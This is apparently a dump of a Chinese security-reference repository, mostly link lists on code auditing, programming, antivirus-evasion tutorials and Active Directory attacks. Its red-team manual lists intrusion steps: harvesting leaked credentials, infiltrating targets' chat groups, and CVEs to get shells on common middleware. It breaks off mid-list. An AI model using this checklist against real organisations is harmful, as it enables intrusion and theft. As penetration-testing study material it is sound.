├── dai-ma-shen-ji ├── README.md ├── php.md ├── .net.md ├── java.md └── php-1.md ├── dai-ma-mo-ban ├── README.md ├── c.md ├── php.md ├── win32-api.md ├── javascript.md ├── powershell-1.md ├── java.md ├── python.md ├── go.md ├── c-c++.md └── html.md ├── xi-tong-ming-ling ├── README.md ├── windows.md └── linux.md ├── yun-an-quan-gong-fang.md ├── about.md ├── SUMMARY.md ├── nei-wang-shen-tou-xiang-guan.md ├── hong-dui-zuo-zhan-shou-ce.md └── README.md /dai-ma-shen-ji/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: 代码审计 3 | --- 4 | 5 | # 代码审计 6 | 7 | -------------------------------------------------------------------------------- /dai-ma-mo-ban/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: 代码模板集合 3 | --- 4 | 5 | # 编程开发 6 | 7 | -------------------------------------------------------------------------------- /xi-tong-ming-ling/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: 系统命令集合 3 | --- 4 | 5 | # 系统命令 6 | 7 | -------------------------------------------------------------------------------- /dai-ma-mo-ban/c.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: C#代码模板 3 | --- 4 | 5 | # C\# 6 | 7 | [C#教程：C#入门经典教程，值得收藏](http://c.biancheng.net/csharp/) 8 | -------------------------------------------------------------------------------- /dai-ma-mo-ban/php.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: PHP代码模板 3 | --- 4 | 5 | # PHP 6 | 7 | [php 速查词典|php API中文手册|php参考文档\_w3cschool](https://www.w3cschool.cn/php/dict) 8 | -------------------------------------------------------------------------------- /yun-an-quan-gong-fang.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: 云安全攻防 3 | --- 4 | 5 | # 云安全攻防 6 | 7 | [Hacking the cloud - 入侵云端（AWS、Azure、GCP、Terraform）](https://hackingthe.cloud/) 8 | -------------------------------------------------------------------------------- /dai-ma-shen-ji/php.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: PHP 3 | --- 4 | 5 | # PHP 6 | 7 | [https://www.yuque.com/burpheart/phpaudit](https://www.yuque.com/burpheart/phpaudit) - PHP代码审计入门指南 \[白帽酱] 8 | -------------------------------------------------------------------------------- /about.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: ABOUT 3 | --- 4 | 5 | # ABOUT 6 | 7 | 此项目仅作为文档速查，本人技术水平有限，难免出现错误，欢迎指正。 8 | 9 | 引用文档的内容、格式，为了便于阅读会有些许更改，且均已著名来源和作者，侵删。 10 | 11 | 联系方式：admin\[#]se7ensec.cn 12 | -------------------------------------------------------------------------------- /dai-ma-mo-ban/win32-api.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: WIN32-API 3 | --- 4 | 5 | # WIN32-API 6 | 7 | [https://docs.microsoft.com/zh-cn/windows/win32/api/](https://docs.microsoft.com/zh-cn/windows/win32/api/) 8 | -------------------------------------------------------------------------------- /dai-ma-mo-ban/javascript.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: JAVASCRIPT代码模板 3 | --- 4 | 5 | # JAVASCRIPT 6 | 7 | [javascript 速查词典|javascript API中文手册|javascript参考文档\_w3cschool](https://www.w3cschool.cn/javascript/dict) 8 | -------------------------------------------------------------------------------- /dai-ma-mo-ban/powershell-1.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: POWERSHELL 3 | --- 4 | 5 | # POWERSHELL 6 | 7 | [Powershell-Attack-Guide](https://rootclay.gitbook.io/powershell-attack-guide/) - rootclay \[Powershell攻击指南-黑客后渗透之道] 8 | -------------------------------------------------------------------------------- /xi-tong-ming-ling/windows.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: WINDOWS命令集合 3 | --- 4 | 5 | # WINDOWS 6 | 7 | ## CMD 8 | 9 | ... 10 | 11 | ## PowerShell 12 | 13 | [PowerShell Documentation - PowerShell | Microsoft Docs](https://docs.microsoft.com/zh-cn/powershell/) 14 | -------------------------------------------------------------------------------- /dai-ma-mo-ban/java.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: JAVA 3 | --- 4 | 5 | # JAVA 6 | 7 | Spring Boot基础教程 - [https://github.com/dyc87112/SpringBoot-Learning](https://github.com/dyc87112/SpringBoot-Learning) 8 | 9 | 开发环境 - [https://mirrors.huaweicloud.com/java/jdk/](https://mirrors.huaweicloud.com/java/jdk/) 10 | -------------------------------------------------------------------------------- /xi-tong-ming-ling/linux.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: LINUX命令集合 3 | --- 4 | 5 | # LINUX 6 | 7 | [Linux命令大全](https://man.linuxde.net)（推荐） 8 | 9 | [linux 速查词典|linux API中文手册|linux参考文档\_w3cschool](https://www.w3cschool.cn/linux/dict) 10 | 11 | [shell解释器-match command-line arguments to their help text](https://explainshell.com) 12 | 13 | -------------------------------------------------------------------------------- /dai-ma-shen-ji/.net.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: .NET 3 | --- 4 | 5 | # .NET 6 | 7 | [https://www.cnblogs.com/nice0e3/p/15236334.html](https://www.cnblogs.com/nice0e3/p/15236334.html) - AAA 初识.Net审计 - nice\_0e3 8 | 9 | [https://xz.aliyun.com/t/9481](https://xz.aliyun.com/t/9481) - 粗略快速定位程序中明显的漏洞（.Net审计） 10 | 11 | [https://xz.aliyun.com/t/6646](https://xz.aliyun.com/t/6646) - ASP.NET 代码审计 -先知社区 12 | -------------------------------------------------------------------------------- /dai-ma-mo-ban/python.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: PYTHON代码模板 3 | --- 4 | 5 | # PYTHON 6 | 7 | [Python3在线速查手册 - W3xue.com](https://www.w3xue.com/manual/py3/) 8 | 9 | [Python 教程 - 简明教程](https://www.jmjc.tech/tutorial/python/1) 10 | 11 | [Python 经典小例子、小案例](https://github.com/jackzhenguo/python-small-examples) 12 | 13 | [《Python Cookbook in Chinese》 3rd Edition 翻译](https://github.com/yidao620c/python3-cookbook) 14 | -------------------------------------------------------------------------------- /dai-ma-mo-ban/go.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Go 3 | --- 4 | 5 | # Go 6 | 7 | [Go语言标准库文档中文版 | Go语言中文网 | Golang中文社区 | Golang中国](https://studygolang.com/pkgdoc) 8 | 9 | [Go语言圣经（中文版）](https://books.studygolang.com/gopl-zh/) 10 | 11 | [Go语言高级编程(Advanced Go Programming)](https://chai2010.cn/advanced-go-programming-book/) 12 | 13 | [米粒网 - 一个和开发者共同成长的社区](https://www.nodejs123.com/books/go) 14 | 15 | [Go by Example 中文版](https://gobyexample-cn.github.io/) \[基于实践的介绍，包含一系列带有注释说明的示例程序] 16 | 17 | #### 优秀的Go库收集项目 18 | 19 | [https://github.com/avelino/awesome-go](https://github.com/avelino/awesome-go) 20 | -------------------------------------------------------------------------------- /dai-ma-shen-ji/java.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: JAVA 3 | --- 4 | 5 | # JAVA 6 | 7 | MemShellParty - [https://party.memshell.news/](https://party.memshell.news/) 8 | 9 | web-chains - [https://github.com/Java-Chains/web-chains](https://github.com/Java-Chains/web-chains) 10 | 11 | 攻击Java Web应用-\[Java Web安全 园长] - [https://www.javasec.org/](https://www.javasec.org/) 12 | 13 | 漏洞分析\[nice0e3] - [https://www.cnblogs.com/nice0e3/](https://www.cnblogs.com/nice0e3/) 14 | 15 | Java安全\[天下大木头] - [https://www.yuque.com/tianxiadamutou/zcfd4v/](https://www.yuque.com/tianxiadamutou/zcfd4v/) 16 | 17 | JavaWeb代码审计\[素十八] - [https://su18.org/post/code-audit/](https://su18.org/post/code-audit/) 18 | 19 | JavaSec\[Y4tacker] - [https://github.com/Y4tacker/JavaSec](https://github.com/Y4tacker/JavaSec) 20 | -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Table of contents 2 | 3 | * [在线工具](README.md) 4 | * [系统命令](xi-tong-ming-ling/README.md) 5 | * [WINDOWS](xi-tong-ming-ling/windows.md) 6 | * [LINUX](xi-tong-ming-ling/linux.md) 7 | * [编程开发](dai-ma-mo-ban/README.md) 8 | * [JAVA](dai-ma-mo-ban/java.md) 9 | * [HTML](dai-ma-mo-ban/html.md) 10 | * [JAVASCRIPT](dai-ma-mo-ban/javascript.md) 11 | * [PHP](dai-ma-mo-ban/php.md) 12 | * [PYTHON](dai-ma-mo-ban/python.md) 13 | * [Go](dai-ma-mo-ban/go.md) 14 | * [C#](dai-ma-mo-ban/c.md) 15 | * [C/C++](dai-ma-mo-ban/c-c++.md) 16 | * [WIN32-API](dai-ma-mo-ban/win32-api.md) 17 | * [POWERSHELL](dai-ma-mo-ban/powershell-1.md) 18 | * [代码审计](dai-ma-shen-ji/README.md) 19 | * [PHP](dai-ma-shen-ji/php.md) 20 | * [PHP-tips](dai-ma-shen-ji/php-1.md) 21 | * [JAVA](dai-ma-shen-ji/java.md) 22 | * [.NET](dai-ma-shen-ji/.net.md) 23 | * [红队作战手册](hong-dui-zuo-zhan-shou-ce.md) 24 | * [内网渗透相关](nei-wang-shen-tou-xiang-guan.md) 25 | * [云安全攻防](yun-an-quan-gong-fang.md) 26 | * [ABOUT](about.md) 27 | -------------------------------------------------------------------------------- /dai-ma-mo-ban/c-c++.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: c/c++ 3 | --- 4 | 5 | # C/C++ 6 | 7 | 最近学习Windows编程总结 8 | 9 | [https://payloads.online/archivers/2018-12-20/1/](https://payloads.online/archivers/2018-12-20/1/) 10 | 11 | Windows - 文件映射 12 | 13 | [https://payloads.online/archivers/2018-12-20/windows-FileMapping/](https://payloads.online/archivers/2018-12-20/windows-FileMapping/) 14 | 15 | Windows - 线程同步 16 | 17 | [https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/](https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/) 18 | 19 | Windows - 内存管理 20 | 21 | [https://payloads.online/archivers/2018-12-21/1/](https://payloads.online/archivers/2018-12-21/1/) 22 | 23 | 静态恶意代码逃逸（第一课） - 混淆加密bin2shellcode 24 | 25 | [https://payloads.online/archivers/2019-11-10/1/](https://payloads.online/archivers/2019-11-10/1/) 26 | 27 | 静态恶意代码逃逸（第二课） - win操作系统内存、内存的申请、执行、加上了异或代码 28 | 29 | [https://payloads.online/archivers/2019-11-10/2/](https://payloads.online/archivers/2019-11-10/2/) 30 | 31 | 静态恶意代码逃逸（第三课） - 内存申请优化（先读写后执行）、异或方式 32 | 33 | [https://payloads.online/archivers/2019-11-10/3/](https://payloads.online/archivers/2019-11-10/3/) 34 | 35 | 静态恶意代码逃逸（第四课） - 分离免杀、管道 36 | 37 | [https://payloads.online/archivers/2019-11-10/4/](https://payloads.online/archivers/2019-11-10/4/) 38 | 39 | 静态恶意代码逃逸（第五课） - 真正意义上的分离、socket 40 | 41 | [https://payloads.online/archivers/2019-11-10/5/](https://payloads.online/archivers/2019-11-10/5/) 42 | 43 | 静态恶意代码逃逸（第六课） - winPE、MemoryModule、反射dll 44 | 45 | [https://payloads.online/archivers/2020-01-02/1/](https://payloads.online/archivers/2020-01-02/1/) 46 | 47 | 静态恶意代码逃逸（第七课） - 隐藏导入表，减少文件特征 48 | 49 | [http://payloads.online/archivers/2020-10-23/1/](http://payloads.online/archivers/2020-10-23/1/) 50 | 51 | 静态恶意代码逃逸（第八课） - 重载的运算符是带有特殊名称的函数 52 | 53 | [http://payloads.online/archivers/2020-11-29/1/](http://payloads.online/archivers/2020-11-29/1/) 54 | 55 | 静态恶意代码逃逸（第九课） - 使用HeapCreate API来关闭DEP保护，获取在堆上的代码执行权限，从而绕过对VirtualAlloc的检测 56 | 57 | [http://payloads.online/archivers/2020-11-29/2/](http://payloads.online/archivers/2020-11-29/2/) 58 | 59 | 静态恶意代码逃逸（第十课） - 使用UUID的方式存储Shellcode，再介绍一些CALL BACK函数的特性来加载Shellcode 60 | 61 | [http://payloads.online/archivers/2021-02-08/1/](http://payloads.online/archivers/2021-02-08/1/) 62 | 63 | 静态恶意代码逃逸（第十一课） - 汇编语言编写Shellcode加载器 64 | 65 | [http://payloads.online/archivers/2022-02-16/1/](http://payloads.online/archivers/2022-02-16/1/) 66 | -------------------------------------------------------------------------------- /dai-ma-mo-ban/html.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: HTML代码模板 3 | --- 4 | 5 | # HTML 6 | 7 | ### HTML 基本文档 8 | 9 | ```markup 10 | 11 | 12 | 13 | 文档标题 14 | 15 | 16 | 可见文本... 17 | 18 | 19 | ``` 20 | 21 | ### 基本标签（Basic Tags） 22 | 23 | ```markup 24 |

最大的标题

25 |

. . .

26 |

. . .

27 |

. . .

28 |
. . .
29 |
最小的标题
30 |

这是一个段落。

31 |
（换行） 32 |
（水平线） 33 | 34 | ``` 35 | 36 | ### 文本格式化（Formatting） 37 | 38 | ```markup 39 | 粗体文本 40 | 计算机代码 41 | 强调文本 42 | 斜体文本 43 | 键盘输入 44 | 
预格式化文本
45 | 更小的文本 46 | 重要的文本 47 | （缩写） 48 |
（联系信息） 49 | （文字方向） 50 |
（从另一个源引用的部分） 51 | （工作的名称） 52 | （删除的文本） 53 | （插入的文本） 54 | （下标文本） 55 | （上标文本） 56 | ``` 57 | 58 | ### 链接（Links） 59 | 60 | ```markup 61 | 普通的链接：链接文本 62 | 图像链接： 替换文本 63 | 邮件链接： 发送e-mail 64 | 书签： 65 | 提示部分 66 | 跳到提示部分 67 | ``` 68 | 69 | ### 图片（Images） 70 | 71 | ```markup 72 | 替换文本 73 | ``` 74 | 75 | ### 样式/区块（Styles/Sections） 76 | 77 | ```markup 78 | 82 |
文档中的块级元素
83 | 文档中的内联元素 84 | ``` 85 | 86 | ### 无序列表 87 | 88 | ```markup 89 |
    90 |
  • 项目
    • 91 |
  • 项目
    • 92 |
93 | ``` 94 | 95 | ### 有序列表 96 | 97 | ```markup 98 |
    99 |
  1. 第一项
    2. 100 |
  2. 第二项
    3. 101 |
102 | ``` 103 | 104 | ### 定义列表 105 | 106 | ```markup 107 |
108 |
项目 1
109 |
描述项目 1
110 |
项目 2
111 |
描述项目 2
112 |
113 | ``` 114 | 115 | ### 表格（Tables） 116 | 117 | ```markup 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 |
表格标题表格标题
表格数据表格数据
128 | ``` 129 | 130 | ### 框架（Iframe） 131 | 132 | ```markup 133 | 134 | ``` 135 | 136 | ### 表单（Forms） 137 | 138 | ```markup 139 |
140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 152 | 153 |
154 | ``` 155 | 156 | ### 实体（Entities） 157 | 158 | ```markup 159 | < 等同于 < 160 | > 等同于 > 161 | © 等同于 © 162 | ``` 163 | 164 | 原文链接：[https://www.runoob.com/html/html-quicklist.html](https://www.runoob.com/html/html-quicklist.html) 165 | 166 | 详细：[html 速查词典|html API中文手册|html参考文档\_w3cschool](https://www.w3cschool.cn/html/dict) 167 | -------------------------------------------------------------------------------- /nei-wang-shen-tou-xiang-guan.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: 先学形 ，再学意 。 3 | --- 4 | 5 | # 内网渗透相关 6 | 7 | ## bmjoker（实战系列） 8 | 9 | [1.我所了解的内网渗透](https://www.cnblogs.com/bmjoker/p/10336247.html) 10 | 11 | [2.内网渗透之端口转发](https://www.cnblogs.com/bmjoker/p/10264148.html) 12 | 13 | [3.内网渗透之reGeorg+Proxifier](https://www.cnblogs.com/bmjoker/p/10205407.html) 14 | 15 | [4. 内网渗透之IPC$入侵](https://www.cnblogs.com/bmjoker/p/10355934.html) 16 | 17 | [5.内网渗透之PTH\&PTT\&PTK](https://www.cnblogs.com/bmjoker/p/10355979.html) 18 | 19 | [6.Dump域内用户Hash姿势集合](https://www.cnblogs.com/bmjoker/p/10529360.html) 20 | 21 | [7.内网渗透之windows认证机制](https://www.cnblogs.com/bmjoker/p/10723432.html) 22 | 23 | ## ARESX（实战+原理系列） 24 | 25 | [戏说地狱三头犬](https://ares-x.com/2020/03/12/%E6%88%8F%E8%AF%B4%E5%9C%B0%E7%8B%B1%E4%B8%89%E5%A4%B4%E7%8A%AC/) 26 | 27 | [关于IPC和PTH用户权限问题](https://ares-x.com/2020/03/10/%E5%85%B3%E4%BA%8EIPC%E5%92%8CPTH%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E9%97%AE%E9%A2%98/) 28 | 29 | [（一）Windows认证机制](https://ares-x.com/2020/03/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%80%EF%BC%89Windows%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6/) 30 | 31 | [（二）Kerberos协议](https://ares-x.com/2020/03/17/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%BA%8C%EF%BC%89Kerberos%E5%8D%8F%E8%AE%AE/) 32 | 33 | [（三）域内信息搜集](https://ares-x.com/2020/03/18/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%89%EF%BC%89%E5%9F%9F%E5%86%85%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86/) 34 | 35 | [（四）Dump Password & Hash](https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E5%9B%9B%EF%BC%89Dump-Password-Hash/) 36 | 37 | [（五）基于IPC的远程连接](https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%BA%94%EF%BC%89%E5%9F%BA%E4%BA%8EIPC%E7%9A%84%E8%BF%9C%E7%A8%8B%E8%BF%9E%E6%8E%A5/) 38 | 39 | [（六）PTH 哈希传递攻击](https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E5%85%AD%EF%BC%89PTH-%E5%93%88%E5%B8%8C%E4%BC%A0%E9%80%92%E6%94%BB%E5%87%BB/) 40 | 41 | [（七）PTT 票据传递攻击](https://ares-x.com/2020/03/21/%E5%9F%9F%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%EF%BC%88%E4%B8%83%EF%BC%89PTT-%E7%A5%A8%E6%8D%AE%E4%BC%A0%E9%80%92%E6%94%BB%E5%87%BB/) 42 | 43 | ## CoolCat（实战+原理分析系列） 44 | 45 | [2020-02-2 Windows本地hashdump备忘录](https://thekingofduck.github.io/post/Dumping-Windows-Local-Credentials-Tools/) 46 | 47 | [2020-02-28 ](https://thekingofduck.github.io/post/scan-ports-by-cscript/)[利用cscript进行内网端口扫描](https://thekingofduck.github.io/post/scan-ports-by-cscript/) 48 | 49 | [2020-03-02 域渗透学习笔记一：域环境的搭建](https://thekingofduck.github.io/post/ADStudy-Part-1-AD-Install/) 50 | 51 | [2020-03-02 域渗透学习笔记二：Windows认证机制Net-NTLM刨析](https://thekingofduck.github.io/post/ADStudy-Part-2-Net-NTLM-Study/) 52 | 53 | [2020-03-04 域渗透学习笔记三：攻击NTLM](https://thekingofduck.github.io/post/ADStudy-Part-3-Attack-NTLM/) 54 | 55 | [2020-03-04 域渗透学习笔记四：域认证机制Kerbroes刨析](https://thekingofduck.github.io/post/ADStudy-Part-4-Kerbroes-Study/) 56 | 57 | [2020-03-04 域渗透学习笔记五：攻击Kerbroes](https://thekingofduck.github.io/post/ADStudy-Part-5-Attack-Kerbroes/) 58 | 59 | ## 彻底理解Windows认证（原理分析系列） 60 | 61 | [https://payloads.online/archivers/2018-11-30/1](https://payloads.online/archivers/2018-11-30/1) 62 | 63 | ## 这才叫专业（深入原理系列） 64 | 65 | [windows-protocol](https://daiker.gitbook.io/windows-protocol/) - daikerSec \[内网渗透的常见协议kerberos,ntlm,smb,ldap,netbios分析] 66 | 67 | [windows-access-control](https://rootclay.gitbook.io/windows-access-control/) - rootclay \[Windows访问控制] 68 | 69 | [NTLM & SSP](https://rootclay.gitbook.io/ntlm/) - rootclay \[NTLM中高级进阶] 70 | 71 | [hackndo blog](https://en.hackndo.com/archives/) - Pixis \[AD分析的很详细、很彻底] 72 | 73 | ## Pentesting\_Active\_directory（脑图） 74 | 75 | [https://github.com/Orange-Cyberdefense/ocd-mindmaps](https://github.com/Orange-Cyberdefense/ocd-mindmaps) \[最新] 76 | 77 | [https://github.com/zha0gongz1/Pentest\_MindMap/tree/main/Pentesting%20Active%20Directory](https://github.com/zha0gongz1/Pentest\_MindMap/tree/main/Pentesting%20Active%20Directory) \[翻译较旧] 78 | 79 | ## Active Directory 漏洞利用备忘单 80 | 81 | {% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} 82 | 83 | {% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} 84 | 85 | {% embed url="https://github.com/0range-x/Domain-penetration_one-stop" %} 86 | 87 | {% embed url="https://github.com/JDArmy/DCSec" %} 88 | 89 | {% embed url="https://github.com/vpxuser/Central-Management-System-Exploitation-Cheat-Sheet" %} 90 | 91 | ## Game Of Active Directory v2 92 | 93 | [https://mayfly277.github.io/posts/GOADv2/](https://mayfly277.github.io/posts/GOADv2/)\ 94 | -------------------------------------------------------------------------------- /hong-dui-zuo-zhan-shou-ce.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: 项目地址：https://github.com/klionsec/RedTeamer — klion 3 | --- 4 | 5 | # 红队作战手册 6 | 7 | ## 流程简要说明 8 | 9 | ``` 10 | 入口权限 => 内网搜集/探测 => 免杀提权[非必须] => 抓取登录凭证 => 跨平台横向 => 入口维持 => 数据回传 => 定期权限维护 11 | ``` 12 | 13 | ## 0x01 入口权限获取 \[ 前期侦察 ] 14 | 15 | 搜集阶段本身就不存在太多可防御的点，非防御重心 16 | 17 | ``` 18 | 绕CDN找出目标所有真实ip段 19 | 找目标的各种Web管理后台登录口 20 | 批量抓取目标所有真实C段 Web banner 21 | 批量对目标所有真实C段 进行基础服务端口扫描探测识别 22 | 尝试目标DNS是否允许区域传送,如果不允许则继续尝试子域爆破 23 | 批量抓取目标所有子域 Web banner 24 | 批量对目标所有子域集中进行基础服务端口探测识别 25 | 批量识别目标 所有存活Web站点的Web程序指纹 及其详细版本 26 | 从 Git 中查找目标泄露的各类 敏感文件 及 账号密码,偶尔甚至还能碰到目标不小心泄露的各种云的 "AccessKey" 27 | 从网盘 / 百度文库 中查找目标泄露的各类 敏感文件 及 账号密码 28 | 从各第三方历史漏洞库中查找目标曾经泄露的 各种敏感账号密码 [ 国内目标很好使 ] 29 | 目标Svn里泄露的各类 敏感文件 30 | 网站目录扫描 [ 查找目标网站泄露的各类敏感文件, 网站备份文件, 敏感配置文件, 源码 , 别人的webshell, 等等等...] 31 | 目标站点自身在前端代码中泄露的各种敏感信息 32 | fofa / shodan / bing / google hacking 深度利用 33 | 搜集目标 学生学号 / 员工工号 / 目标邮箱 [ 并顺手到各个社工库中去批量查询这些邮箱是否曾经泄露过密码 ] 34 | 目标自己对外提供的各种 技术文档 / wiki 里泄露的各种账号密码及其它敏感信息 35 | 目标微信小程序 36 | 分析目标app Web请求 37 | 借助js探针搜集目标内网信息 38 | 想办法混入目标的各种 内部QQ群 / 微信群 39 | 分析目标直接供应商 [尤其是技术外包] 40 | 根据前面已搜集到的各类信息制作有针对性的弱口令字典 41 | 目标所用 Waf 种类识别 与 绕过 42 | BypassWAF 文件上传 / 读取 / 下载 43 | BypassWAF Sql注入 44 | BypassWAF RCE 45 | BypassWAF 各类Java Web中间件已知Nday漏洞利用 46 | BypassWAF Webshell 免杀 47 | 48 | 其它更多 , 待补充修正... 49 | ``` 50 | 51 | ## 0x02 入口权限获取 \[ 外部防御 ] 52 | 53 | 重心 ( "重中之重" ) 54 | 55 | ``` 56 | 此阶段,主要是针对各主流 "中间件 + 开源程序 + Web服务组件" 自身的各种已知Nday漏洞利用 57 | 如下已按 "实际攻击利用的难易程度" 及 "获取到的shell权限高低" 为标准进行了详细排序,由于完全以实战利用为导向 58 | 故,仅仅只挑选了一些相对会经常遇到的,且实战中确实能有效协助快速getshell 的 "中间件" , "开源程序" 及 "web组件" 59 | ``` 60 | 61 | * 针对各类Java中间件的各种已知Nday漏洞利用 62 | 63 | ``` 64 | 不同于其它脚本类web程序,Java的运行权限通常都比较高,甚至大部分都是直接用root/administrator/system权限在跑 65 | 所以拿到的shell权限一般也非常高,通常都直接是服务器权限 66 | 尤其是在各种红队场景中,入侵者一般也都会首选这些点,并以此为突破口来获取一个稳定的跳板机入口权限 67 | 关于到底哪些行业特别爱用哪些中间件,这些也应该都是有事先分析梳理汇总好的 68 | ``` 69 | 70 | * Struts2 71 | 72 | ``` 73 | Struts2-005 74 | Struts2-008 75 | Struts2-009 76 | Struts2-013 77 | Struts2-016(实际上,很多都老系统都漏补了这个洞,成功率较高) 78 | Struts2-019 79 | Struts2-020 80 | Struts2-devmode 81 | Struts2-032 82 | Struts2-033 83 | Struts2-037 84 | Struts2-045 85 | Struts2-046 86 | Struts2-048 87 | Struts2-052 88 | Struts2-053 89 | Struts2-057 90 | ``` 91 | 92 | * weblogic 93 | 94 | ``` 95 | CVE-2019-2725 96 | CVE-2019-2729 97 | CVE-2018-3191 98 | CVE-2018-2628 99 | CVE-2018-2893 100 | CVE-2018-2894 101 | CVE-2017-3506 102 | CVE-2017-10271 103 | CVE-2017-3248 104 | CVE-2016-0638 105 | CVE-2016-3510 106 | CVE-2015-4852 107 | CVE-2014-4210 108 | 109 | SSRF 110 | 控制台弱口令,部署webshell 111 | ``` 112 | 113 | * Jboss 114 | 115 | ``` 116 | CVE-2015-7501 117 | CVE-2017-7504 118 | CVE-2017-12149 119 | 120 | 未授权访问,部署webshell 121 | 控制台弱口令,部署webshell 122 | ``` 123 | 124 | * wildfly \[ jboss 7.x 改名为 wildfly ] 125 | 126 | ``` 127 | 控制台弱口令,部署webshell 128 | ``` 129 | 130 | * Tomcat 131 | 132 | ``` 133 | CVE-2016-8735 134 | CVE-2017-12615 [ readonly 实际设为 true的情况较少] 135 | CVE-2020-1938 [ AJP协议漏洞, 直接把8009端口暴露在外网的不太多,稍鸡肋 ] 136 | 137 | 控制台弱口令,部署webshelll [ 注: 7.x版本后,默认加了防爆机制 ] 138 | ``` 139 | 140 | * Jekins 141 | 142 | ``` 143 | CVE-2018-1999002 [任意文件读取] 144 | 145 | 未授权访问,任意命令执行 146 | 控制台弱口令,任意命令执行 147 | ``` 148 | 149 | * ElasticSearch 150 | 151 | ``` 152 | CVE-2014-3120 [专门针对老版本(无沙盒)RCE] 153 | CVE-2015-1427 [Groovy RCE] 154 | CVE-2015-3337 [任意文件读取] 155 | 156 | 未授权访问,敏感信息泄露 157 | ``` 158 | 159 | * RabbitMQ 160 | 161 | ``` 162 | 弱口令 163 | ``` 164 | 165 | * Glassfish 166 | 167 | ``` 168 | 任意文件读取 [ 低版本 ] 169 | 控制台弱口令,部署webshell 170 | ``` 171 | 172 | * IBM Websphere 173 | 174 | ``` 175 | Java 反序列化 176 | 控制台弱口令,部署webshell 177 | ``` 178 | 179 | * Axis2 180 | 181 | ``` 182 | 任意文件读取 183 | 目录遍历 184 | ``` 185 | 186 | * Apache ActiveMQ 187 | 188 | ``` 189 | 未授权访问,5.12 之前的版本 fileserver存在 PUT任意写 190 | CVE-2015-5254 191 | ``` 192 | 193 | * Apache Solr 194 | 195 | ``` 196 | CVE-2017-12629 197 | CVE-2019-0193 [ Apache Solr 5.x - 8.2.0 ] 198 | ``` 199 | 200 | * Apache Zookeeper 201 | 202 | ``` 203 | 未授权访问,敏感信息泄露 204 | ``` 205 | 206 | * Apache Shiro反序列化 207 | * fastjson <= 1.2.47 反序列化利用 208 | * 针对各类Windows php集成环境 \[ 由于此类环境拿到的Webshell权限相对较高,所以,通常也是红队人员的首选突破口 ] 209 | 210 | ``` 211 | AppServ 212 | Xampp 213 | 宝塔 214 | PhpStudy 215 | ...... 216 | ``` 217 | 218 | * 针对各类开源程序的 已知Nday漏洞利用 219 | 220 | ``` 221 | Dedecms 后台弱口令,系列已知nday漏洞利用 222 | thinkphp 5.x 后台弱口令,系列已知nday漏洞利用 223 | phpcms 后台弱口令,系列已知nday漏洞利用 224 | ecshop 后台弱口令,系列已知nday漏洞利用 225 | Metinfo 后台弱口令,系列已知nday漏洞利用 226 | discuz 后台弱口令,系列已知nday漏洞利用 227 | 帝国cms 后台弱口令,系列已知nday漏洞利用 228 | phpmyadmin 数据库弱口令,系列已知nday漏洞利用 229 | wordpress 后台弱口令,系列已知nday漏洞利用 230 | joomla 后台弱口令,系列已知nday漏洞利用 231 | drupal CVE-2018-7600 ,后台弱口令,系列已知nday漏洞利用 232 | ...... 233 | ``` 234 | 235 | * 针对其它各类Web组件的 已知Nday漏洞利用 236 | * IIS 6.0 RCE 237 | 238 | ``` 239 | 短文件漏洞 240 | PUT 任意写 241 | Webdav RCE CVE-2017-7269 242 | ``` 243 | 244 | * 禅道项目管理系统 245 | 246 | ``` 247 | SQL注入 248 | 文件读取 249 | 远程执行 250 | ``` 251 | 252 | * 通达OA 253 | 254 | ``` 255 | SQL注入 256 | 任意上传 257 | ``` 258 | 259 | * Zimbra \[ XXE + SSRF => RCE ] 260 | 261 | ``` 262 | CVE-2013-7091 263 | CVE-2016-9924 264 | CVE-2019-9670 265 | ``` 266 | 267 | * Citrix 268 | 269 | ``` 270 | CVE-2019-19781 271 | ``` 272 | 273 | * Jumpserver 274 | 275 | ``` 276 | 身份验证绕过 277 | ``` 278 | 279 | * Zabbix 280 | 281 | ``` 282 | CVE-2017-2824 283 | SQL注入 [ 2.0 老版本 ] 284 | 控制台弱口令,敏感机器信息泄露 285 | ``` 286 | 287 | * Cacti 288 